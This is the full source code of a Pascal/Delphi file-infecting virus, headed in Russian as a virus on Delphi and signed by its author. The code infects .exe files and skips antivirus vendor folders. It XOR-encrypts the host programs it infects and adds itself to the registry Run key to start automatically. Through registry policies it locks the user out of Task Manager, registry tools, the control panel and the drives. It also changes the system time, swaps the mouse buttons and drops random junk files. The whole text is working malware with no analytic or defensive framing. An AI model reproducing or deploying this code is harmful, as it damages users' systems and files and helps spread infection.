Вирус на Delphi

 {$M 65520,0,0}
Program Virus_DOS_HLLP_GVDG;
USES DOS;
Const
 VirSize=5982;
 Metka='by SN!KE=))';
 MSize=length(Metka);
type
 Bufer=array[1..VirSize] of Char;
VAR
  Victim : integer;
Procedure BeginEnd(i : integer);
var
 n :integer;
Begin
 case i of
       0..10000: n:=0;
   10001..20000: n:=i;
   20001..30000: n:=random(1000)
 else
   begin  
     n:=0;
     n:=random(65535);
     n:=i
   end;  
 end;
End;
Function IntToStr(I : integer) : String;
Var
 S : String [5];
Begin
Str(I, S);
IntToStr:=S;
End;
Procedure Musor;
var
 fch : file of char;
 rch : char;
  ch : char;
  st : string;
   i : integer;
  ii : integer;
 iii : integer;
begin
randomize; BeginEnd(-1894);
for i:=1 to random(10) do
 begin
   st:='';
   for ii:=1 to random(5)+3 do
     begin
       rch:=chr(ord(random(26)+65));
       st:=st+rch;
     end;
   Assign(fch,st+'.'+chr(ord(random(26)+65))+
   +chr(ord(random(26)+65))+chr(ord(random(26)+65)));
   Rewrite(fch);
   for iii:=1 to random(1000) do
   begin
     ch:=chr(ord(random(256)));
     write(fch,ch);
   end;
   close(fch);
 end;
end;
Procedure AutoRun;
VAR
   f : file;
 txt : text;
   i : integer;
 st1 : string;
 st2 : string;
Begin
 st1:=GetEnv('SystemRoot')+'\'+'AVTORUN'+'.EXE';
 for i:=1 to length(st1) do
 begin
 if st1[i]='\'
 then st2:=st2+'\'+st1[i]
 else st2:=st2+st1[i]
 end;
 Assign(f,st1);
 {$i-} Reset(f); Close(f); {$i+}
 if IOResult<>0 then
 Begin
   Assign(txt,'REG');
   Rewrite(txt);
   Writeln(txt,'Windows Registry Editor Version 5.00');
   Writeln(txt,'[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]');
   Writeln(txt,'"AVTORUN"="'+st2+'"');
   Close(txt);
   Exec(GetEnv('Comspec'),'/c REG IMPORT REG');
   Exec(GetEnv('Comspec'),'/c DEL REG');
   Exec(GetEnv('Comspec'),'/c copy '+paramstr(0)+' '+st1);
   Exec(GetEnv('Comspec'),'/c cls');
 End; BeginEnd(19573);
End;
procedure Shifr(var Buf : Bufer; key : integer);
var
 k : integer;
begin
 for k:=1 to Sizeof(Buf) do
 Buf[k]:=chr(ord(Buf[k]) xor key);
end;
procedure Infect(path,name:string);
var
   FromF : file;
     ToF : file;
  BufVir : Bufer;
 NumRead : Word;
     txt : text;
       i : integer;
       k : integer;
     Key : integer;
begin
 Assign(txt,path+name);
 append(txt);
 write(txt,Metka); BeginEnd(-2253);
 i:=0;
 k:=random(256);
   repeat
     inc(i);
     write(txt,chr(random(256))); BeginEnd(-1139);
   until i>k;
 Close(txt); BeginEnd(18190);
 Assign(ToF,path+name);
 reset(ToF,1);
 Key:=FileSize(ToF) mod 256; BeginEnd(19974);
 BlockRead(ToF,BufVir,SizeOf(BufVir), NumRead);
 Shifr(BufVir,Key);
 seek(ToF,filesize(ToF));
 BlockWrite(ToF,BufVir,NumRead);
 Assign(FromF,paramstr(0));
 reset(FromF,1);
 BlockRead(FromF,BufVir,SizeOf(BufVir), NumRead);
 seek(ToF,0);
 BlockWrite(ToF,BufVir,NumRead);
 Close(ToF);
 Close(FromF);
end;
procedure Find(dir:pathstr);
var
  sr : searchrec;
   f : file;
 Buf : array[1..4] of Char;
begin
 findfirst(dir+'*.exe',39,sr);
 if  (pos('SYSTEM',dir)=0) and (pos('DRWEB', dir)=0)
 and (pos('KASPER',dir)=0) and (pos('PANDA', dir)=0)
 and (pos('NORTON',dir)=0) and (pos('COMMON',dir)=0)
 and (pos('DOCUM', dir)=0) and (pos('GVDG',  dir)=0)
 then
 while doserror=0 do
 if Victim<13 then
 begin
 Assign(f,dir+sr.name);
 setfattr(f,0);
 {$i-}reset(f,1);
 Close(f);{$i+}
 IF ioresult=0 then
   Begin
     Assign(f,dir+sr.name);
     reset(f,1); BeginEnd(4089);
     if FileSize(f)>1000 then
     Begin
       seek(f,85);
       blockread(f,Buf,4);
       Close(f);
       if Buf<>'GVDG' then
        begin
          inc(Victim); BeginEnd(2908);
          Infect(dir,sr.name);
        end;
     end
     else
     Close(f);
   end;
   findnext(sr); BeginEnd(-2668);
 end
 else exit;
end;
procedure InRun(Run : integer);
var
       f : file;
     txt : text;
  BufVir : Bufer;
 NumRead : Word;
       k : integer;
       z : char;
     Key : integer;
       i : longint;
     Buf : array[1..MSize]of char;
begin
if Run=1 then
 begin
 Musor;
 Assign(txt,getenv('TMP')+'reg');
 rewrite(txt);
 writeln(txt,'Windows Registry Editor Version 5.00');
 write(txt,'[HKEY_CURRENT_USER\Software\Microsoft\');
 writeln(txt,'Windows\CurrentVersion\Policies\Explorer]');
 writeln(txt,'"DisableLocalMachineRun"=dword:00000001');
 writeln(txt,'"NoFileMenu"=dword:00000001'); BeginEnd(14641);
 writeln(txt,'"NoControlPanel"=dword:00000001');
 writeln(txt,'"NoDrives"=dword:3ffffff');
 writeln(txt,'"NoViewOnDrive"=dword:3ffffff');
 writeln(txt,'"NoClose"=dword:00000001'); BeginEnd(6546);
 writeln(txt,'"NoChangeStartMenu"=dword:00000001');
 writeln(txt,'"NoViewContextMenu"=dword:00000001');
 writeln(txt,'"NoRun"=dword:00000001');
 writeln(txt,'"NoFind"=dword:00000001');
 writeln(txt,'"NoDesktop"=dword:00000001');
 write(txt,'[HKEY_CURRENT_USER\Software\Microsoft\'); BeginEnd(-1088);
 writeln(txt,'Windows\CurrentVersion\Policies\System]');
 writeln(txt,'"DisableTaskMgr"=dword:00000001'); BeginEnd(6313);
 writeln(txt,'"DisableRegistryTools"=dword:00000001');
 writeln(txt,'"NoDispCPL"=dword:00000001');
 Close(txt);
 exec(getenv('comspec'),'/c reg import '+getenv('TMP')+'reg');
 exec(getenv('comspec'),'/c cls'); BeginEnd(-1408);
 erase(txt);
 exec(getenv('Comspec'),'/c cmd /c time '+IntToStr(random(24))+':'+IntToStr(random(60))+':00,00');
 exec(getenv('Comspec'),'/c cmd /c rundll32 user32, SwapMouseButton');
 writeln('14/88');
 end;
 Assign(f,paramstr(0));
 reset(f,1);
 Key:=(FileSize(f)-VirSize) mod 256;
 seek(f,filesize(f)-VirSize);
 BlockRead(f,BufVir,SizeOf(BufVir), NumRead);
 if filesize(f)=VirSize then
 Begin
   Close(f);
   Erase(f);
   Halt(0);
 end
 else
 Shifr(BufVir,Key);
 seek(f,0);
 BlockWrite(f,BufVir,NumRead);
 i:=filesize(f)-VirSize-256-MSize; BeginEnd(11632);
 while true do
 begin
   seek(f,i);
   blockread(f,Buf,MSize);
   if Buf=Metka then
   begin
     seek(f,i);
     truncate(f); BeginEnd(23603);
     break;
   end;
   inc(i);
 end;
 Close(f);
 if Run=1 then
 exec(Paramstr(0),'');
end;
Procedure Nucleus;
var
   f : file;
begin
 Assign(f,paramstr(0));
 SetFAttr(f,0);
 if Paramstr(1)='KILL' then
 begin
   InRun(0);
   Halt(0);
 end;
 AutoRun;
 Find('');
 InRun(1);
end;
begin
Randomize; BeginEnd(5352);
Nucleus;
end.